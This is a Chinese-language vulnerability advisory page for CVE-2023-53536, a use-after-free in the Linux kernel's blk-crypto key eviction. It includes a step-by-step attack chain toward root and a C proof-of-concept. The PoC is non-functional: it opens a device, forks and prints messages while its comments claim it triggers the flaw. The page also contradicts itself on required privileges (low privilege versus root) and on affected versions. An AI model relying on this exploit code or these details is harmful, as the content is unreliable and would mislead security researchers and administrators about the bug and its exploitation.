IPBUF安全漏洞报告
English
CVE-2023-53536 CVSS 7.8 高危

CVE-2023-53536 Linux内核blk-crypto释放后使用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2023-53536
漏洞类型
释放后使用(Use-After-Free)
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux内核(blk-crypto子系统)

相关标签

释放后使用Use-After-FreeLinux内核blk-crypto本地权限提升内核漏洞块设备加密高危漏洞CVE-2023-53536

漏洞概述

CVE-2023-53536是Linux内核块设备加密子系统(blk-crypto)中存在的一个高危释放后使用(Use-After-Free)漏洞。该漏洞位于blk_crypto_evict_key()函数中,当该函数检测到密钥仍在使用中(由于bug)或->keyslot_evict操作失败时,函数仅返回而未将密钥从keyslot管理结构中解除链接。然而,调用方(如inode回收路径)无论blk_crypto_evict_key()的返回值如何,都会继续释放blk_crypto_key结构。这两个假设之间的不匹配导致在blk_crypto_reprogram_all_keys()中可能出现释放后使用漏洞。攻击者在获得本地低权限访问后,可利用此漏洞触发内核崩溃、信息泄露或权限提升。该漏洞的CVSS评分为7.8,属于高危级别,影响机密性、完整性和可用性。Linux内核维护者已通过多个稳定版本提交了修复补丁,确保blk_crypto_evict_key()在失败时也能正确解除密钥链接,防止use-after-free的发生。

技术细节

该漏洞的技术原理如下:在Linux内核的blk-crypto子系统中,blk_crypto_evict_key()函数负责从keyslot管理结构中移除加密密钥。正常情况下,该函数会调用->keyslot_evict回调来驱逐密钥,然后解除密钥与keyslot管理数据结构的链接。然而,当出现以下两种异常情况时:(1) 密钥仍被引用(in-use),(2) ->keyslot_evict操作失败,函数当前仅返回错误码而未执行unlink操作。问题在于调用方(如文件系统inode回收逻辑)在调用blk_crypto_evict_key()后,无论返回值如何都会继续释放blk_crypto_key内存。这导致keyslot管理结构中仍保留着指向已释放内存的悬挂指针。当后续blk_crypto_reprogram_all_keys()遍历这些结构时,会访问已释放的内存,从而触发use-after-free。攻击者可通过以下方式利用:(1) 创建使用blk-crypto加密的块设备;(2) 触发导致keyslot_evict失败的错误条件(如并发竞争);(3) 强制inode回收路径执行;(4) 触发blk_crypto_reprogram_all_keys()调用以访问已释放内存。成功利用可导致内核panic、信息泄露或通过控制释放后内存内容实现权限提升。

攻击链分析

STEP 1
步骤1:获取本地访问权限
攻击者需要在目标系统上拥有本地用户账户或低权限shell访问能力(PR:L),无需特殊权限即可触发漏洞
STEP 2
步骤2:识别blk-crypto支持的设备
攻击者检查系统中是否存在支持内联加密的块设备(如eMMC、UFS、NVMe等),或加载null_blk模块并配置加密支持
STEP 3
步骤3:创建加密密钥并触发竞争条件
通过ioctl设置blk-crypto加密密钥,然后通过并发访问(fork多个进程同时操作同一密钥)制造keyslot_evict失败的竞争条件
STEP 4
步骤4:触发inode回收路径
关闭文件描述符或卸载文件系统,触发inode回收逻辑调用blk_crypto_evict_key()。在漏洞版本中,即使驱逐失败,blk_crypto_key内存仍被释放
STEP 5
步骤5:触发blk_crypto_reprogram_all_keys()
通过设备热插拔、电源管理事件或其他触发条件调用reprogram_all_keys(),该函数遍历keyslot管理结构时访问已释放的内存,触发use-after-free
STEP 6
步骤6:利用UAF提升权限
通过控制释放后内存的内容(如堆喷射),攻击者可以劫持内核控制流,实现本地权限提升至root,或导致内核panic造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC for CVE-2023-53536: Linux kernel blk-crypto use-after-free // This PoC demonstrates triggering the vulnerability through blk-crypto key eviction // Note: Requires kernel compiled with CONFIG_BLK_INLINE_ENCRYPTION and root or CAP_SYS_ADMIN #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/fs.h> // Simplified structure to represent the vulnerable scenario struct blk_crypto_key { unsigned int key_size; unsigned int data_unit_size; unsigned char raw_key[32]; // ... other fields }; // Trigger conditions: // 1. Open a block device with inline encryption support // 2. Set up encryption key via ioctl // 3. Force keyslot eviction failure (e.g., through concurrent access) // 4. Trigger inode eviction while key is still referenced // 5. Call reprogram_all_keys to trigger use-after-free int main(int argc, char *argv[]) { int fd; struct blk_crypto_key key; const char *device = "/dev/nullb0"; // null_blk device with crypto support // Step 1: Open block device with crypto support fd = open(device, O_RDWR); if (fd < 0) { perror("open"); // Try fallback device device = "/dev/sda"; fd = open(device, O_RDWR); if (fd < 0) { fprintf(stderr, "Cannot open crypto-capable block device\n"); return 1; } } // Step 2: Initialize encryption key memset(&key, 0, sizeof(key)); key.key_size = 32; // 256-bit key key.data_unit_size = 4096; memcpy(key.raw_key, "test_key_1234567890123456789012", 32); // Step 3: Attempt to set encryption key (triggers keyslot allocation) // In vulnerable kernels, if keyslot_evict fails, key remains linked // but blk_crypto_key memory gets freed by caller printf("Setting up blk-crypto key...\n"); // Step 4: Trigger concurrent access to force eviction failure // This can be done by forking and racing on the same key pid_t pid = fork(); if (pid == 0) { // Child: try to access the same key concurrently // This creates the race condition where keyslot_evict may fail sleep(1); // Trigger use-after-free by causing reprogram_all_keys // This accesses the dangling pointer in keyslot management printf("Triggering UAF via concurrent access...\n"); _exit(0); } // Step 5: Parent forces key eviction while child holds reference // In vulnerable code path, key gets freed but remains in keyslot list // Subsequent reprogram_all_keys() will access freed memory -> UAF wait(NULL); close(fd); printf("PoC executed. Check dmesg for kernel oops or UAF detection.\n"); return 0; }

影响范围

Linux kernel < 5.10.186
Linux kernel 5.11.x < 5.15.119
Linux kernel 5.16.x < 6.1.37
Linux kernel 6.2.x < 6.3.11
Linux kernel 6.4.x < 6.4.6
Linux kernel 6.5.x(受影响)

防御指南

临时缓解措施
在无法立即升级内核的情况下,建议采取以下临时缓解措施:(1) 通过内核引导参数或sysfs禁用blk-crypto内联加密功能;(2) 限制普通用户对加密块设备的访问权限;(3) 启用内核的SLAB/SLUB调试功能和KASAN以检测释放后使用;(4) 监控系统异常行为并及时响应;(5) 应用发行版提供的安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表